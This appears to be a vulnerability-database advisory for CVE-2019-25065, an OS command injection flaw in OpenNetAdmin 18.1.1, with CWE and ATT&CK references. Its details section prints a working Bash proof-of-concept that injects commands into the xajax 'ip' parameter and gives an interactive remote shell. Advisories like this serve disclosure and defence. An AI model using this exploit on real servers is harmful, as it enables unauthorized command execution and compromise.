OpenNetAdmin 18.1.1 os command injection

Summaryinfo

A vulnerability categorized as critical has been discovered in OpenNetAdmin 18.1.1. This vulnerability affects unknown code. Such manipulation leads to os command injection. This vulnerability is listed as CVE-2019-25065. The attack may be performed from remote. In addition, an exploit is available.

Detailsinfo

A vulnerability was found in OpenNetAdmin 18.1.1. It has been rated as critical. Affected by this issue is an unknown functionality. The manipulation with an unknown input leads to a os command injection vulnerability. Using CWE to declare the problem leads to CWE-78. The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. Impacted is confidentiality, integrity, and availability.

The weakness was presented 11/20/2019 by Matt Pascoe (Website). The advisory is available at 0day.today. This vulnerability is handled as CVE-2019-25065. The attack may be launched remotely. Technical details are unknown but a public exploit is available. This vulnerability is assigned to T1202 by the MITRE ATT&CK project.

A public exploit has been developed in Bash and been published immediately after the advisory. The exploit is available at 0day.today. It is declared as proof-of-concept. The code used by the exploit is:

URL="${1}"
while true;do
 echo -n "$ "; read cmd
 curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
done

There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.

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Productinfo

Name

• OpenNetAdmin

Version

• 18.1.1

CPE 2.3info

• 🔍

CPE 2.2info

• 🔍

CVSSv4info

CVSSv3info

CVSSv2info

Exploitinginfo

Threat Intelligenceinfo

Countermeasuresinfo

Timelineinfo

Sourcesinfo

Entryinfo

Submitinfo

Accepted

• Submit #119: OpenNetAdmin 18.1.1 - Remote Code Execution Exploit (by misc)

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